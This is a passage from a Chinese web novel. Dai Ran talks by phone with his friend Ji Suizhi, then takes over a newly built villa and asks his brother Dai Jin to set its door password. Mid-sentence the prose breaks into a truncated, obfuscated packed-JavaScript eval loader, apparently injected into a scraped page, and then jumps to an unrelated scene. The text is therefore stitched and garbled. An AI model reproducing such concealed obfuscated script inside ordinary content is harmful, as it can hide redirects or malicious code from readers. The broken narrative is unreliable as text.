“燃燃,你家密码是什么啊?” “哪个家?” 对面沉寂片刻,才传来季随之略带无语的询问。 “……报地名还是报门牌号?” “先报地名。” “临渊这边的。” “我在临渊已经没有家了。” 季随之不说话,黛燃却没感觉到这句话的杀伤力有多大,只自顾自地说起自己有条不紊的计划来。 “我之前买你七八区濯缨市那块儿地,房子我已经找人以最快的速度开始盖了,后面盖好了我搬过去,乔迁的时候再叫你,你要密码是有什么急事吗?” 对面的嘈杂声停了,传来车门被关上的声音,黛燃判断季随之应该是找了个安静的地方打电话,大概是车里。 “不是什么急事儿,就是和朋友出来聚一聚,刚好路过你家附近,想着刚好借你的房子一用。” 那很不巧了。 “抱歉,是我没提前说,今天只能委屈你带着人去附近酒店凑合一下了,有总统套房的话定了我出钱。” “不用,我们都什么关系了,你砸钱那一套还往我身上使?我就是觉得你最近状态可能不太好……好几次聚会你都推了没来,这段时间也很少和我们联系,想找你一起热闹一下,别生疏了……” 季随之说着说着,嗓子莫名哑了。 黛燃听得心下一惊。 这大少爷,不会是在为他难过吧? 黛燃意外又感动,和季随之玩了十好几年,一直觉得这大少爷吊儿郎当,第一次发现这人还有这么感性的一面。 断联不止意味着私交上的分道扬镳,对于需要经常联系的人脉关系网来说,一段时间的缺席就是很不好的信号了。 一般不是家里倒台就是自己倒台,联系一旦断了,后面就算是出事想找人帮忙,也基本很难再联系上。 黛燃不是笨蛋,季随之那些没说出来的话和隐晦的意思他听得很明白。 自从和母亲闹掰,圈子里还是不可避免地听到了点风声,再加上他久居七八区,又长时间和那边的人脉断联,不及时站出来澄清的话,他怕是很难再在圈子里立足了。 黛燃握着手机的手紧了紧,他把电话从耳侧拿下来,盯着只写了季随之名字,而不是带着对方身份的电话久久无言。 可自从他决定改姓那一刻起,他就已经做好了放弃一切的准备,无论是人脉还是朋友,他都愿意承担断联的风险。 他只想要有个人能忽视他的钱,忽视他身上的光环,忽视他难以忽视的背景,只是单纯爱他这个人,只爱他一个人。 这样的人很难找,或许要花上一辈子都不一定找得到,但是后来他哥做到了。 那他现在就只想要他哥。 只不过他一向有点独来独往的意思,不太喜欢和朋友分享自己的计划,季随之不知道他的想法也正常。 但这不代表他会无所谓朋友的关心。 黛燃在外人面前多数时候都是沉默的,现在也一样不知道说什么好了,他把手机放回耳侧,沉默片刻,最终只道了句谢。 “……谢谢。” 季随之吸吸鼻子,话里浓浓的鼻音,听得黛燃差点以为说话的人在偷偷抹眼泪。 “燃燃你别和我客气,到时候乔迁了真要记得叫我啊!我来帮你搬家……” 黛燃不知道要怎么安慰,只知道顺着朋友的话说好。 “好,我知道。” 听筒那端传来几声连续的抽纸声,黛燃这下是真确定对面在擦眼泪了。季随之好像也意识到没藏住,干脆也不演了。 “黛燃,除了那些钱啊车啊,还有地和房子,股票、公司,不说这些东西的话,我们应该还有话聊吧?” 季随之应该是喝了酒了,难得喝醉的大少爷少见地感性了一把。 “我们一起玩了这么久,你说走就走,你不和牧老二他们打个招呼就算了,你咋和小爷我都不说一声,我还是找人打听了才知道你出这么大事儿……你真不打算回来了啊?” 黛燃靠在病房外的走廊墙边思绪神游,已经是晚上,医院为了节能,连走廊也被关掉了好几盏灯,平常呈线形排列的照明灯被一盏间隔一盏地关掉。 他站在被关了灯的阴影里,脚边一步之隔的地方,恰好就是亮堂的光。 一步之遥。 黛燃收回挨着光亮的脚,依旧拒绝了这条光明的前途。 “目前不打算吧。” 他说着,隔着病房门上方的可视玻璃,朝还在里面为母亲看护的黛烬看去一眼,脑子里鬼使神差地冒出个他平时想都不敢想的念头。 以后,其实也说不定…… 要是他哥不要他,他还能真赖在人身边不走吗…… 没名没分的,难不成真要和人谈一辈没前途的恋爱吗…… 黛燃摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“您太客气了!您能把这单子交给我们公司,是我们该和您道谢的,现在生意不好做,就是建个房子,您给这么多预算,我们肯定给您办得妥妥当当!” 负责人给足了客户面子和仪式感,别墅钥匙被提前装在一个精心准备的红丝绒盒子里,现下终于呈至黛燃眼前。 “这是钥匙,我们先按您要求给门装了锁,您可以慢慢看里面的布局,按您的要求,我今天让兄弟们停工休息了一天,里面没人,您安心看就行!” 黛燃接过装着钥匙的盒子。 “谢谢,辛苦大家了。” “哪儿的话!有事儿您随时电话联系我,哪里不满意的我们随时出方案整改,我就先不打扰您二位看房,先走了!” 黛燃收回下意识目送负责人离开的目光,扭头上下左右地打量起这栋新建的独栋别墅。 这房子建的真不小,落地面积最少三百三十平,人被随便找个地方丢进来,不熟悉的话怕是连门在哪儿都找不到。 但这房子设计是黛燃亲自参与的,哪怕还只有个毛坯,他也能轻松找到入口。 黛燃拉着黛烬七弯八绕地离开后花园,走到安好门锁的家门前。 看着和从前临家一模一样的电子锁,他熟练地把钥匙插进去开锁,再操控着门锁显示屏把密码设置调出来,最后退到一边,把设置密码的任务交给黛烬。 “哥来吧。” 黛烬却下意识后退半步。 “这么大的事情,交给我啊。” 为了让这房子以最快的速度建起来,黛燃破例走的程序不少,每一步都耗时耗力耗耐心,可他从没觉得麻烦,黛燃做事是尤其的沉得住气,耐心多得是。 可当一切按步推进,当他哥站在他耗费心血建的房子前,却还要选择退步的时候,他这一刻忽然就没什么耐心了。 他讨厌他哥总是有意无意,有心无意地拒绝他给的所有东西,拒绝接受和他有关的一切。 那算什么? 他是外人吗还要这么生疏? 兔子急了还咬人呢,他要是有猫咪一样的爪子的话,肯定要露出尖尖的指甲,跳起来狠狠给他哥一爪! 可他哥又在看他,那一眼里含了很多他这个年纪看不懂的情绪。 应该是和年纪有关吧? 不然除了七岁的年龄差以外,他不知道他跟他哥还有什么不能弥补的差距。 可看着他哥垂下的眼睛,他最终还是认命又心软地叹了口气,连带着把那口凭空出现的怒气都哀怨地叹了出来。 算了,还是收起指甲吧。 黛燃收起可能伤人的指甲,只露出柔软的爪垫,毛茸茸暖呼呼的,掌心的药膏早已被吸收,他终于可以握住他哥的手。 “哥,这是我们两个人的家,所以密码我想交给你来设。” 暂时要不到未来的承诺,那他要个可以影响未来的行动还不行? 黛燃没注意到,他的语气几乎已经带上了点急不可迫的哀求。 他又在借着问题说真心话了。 “答应我,好不好?”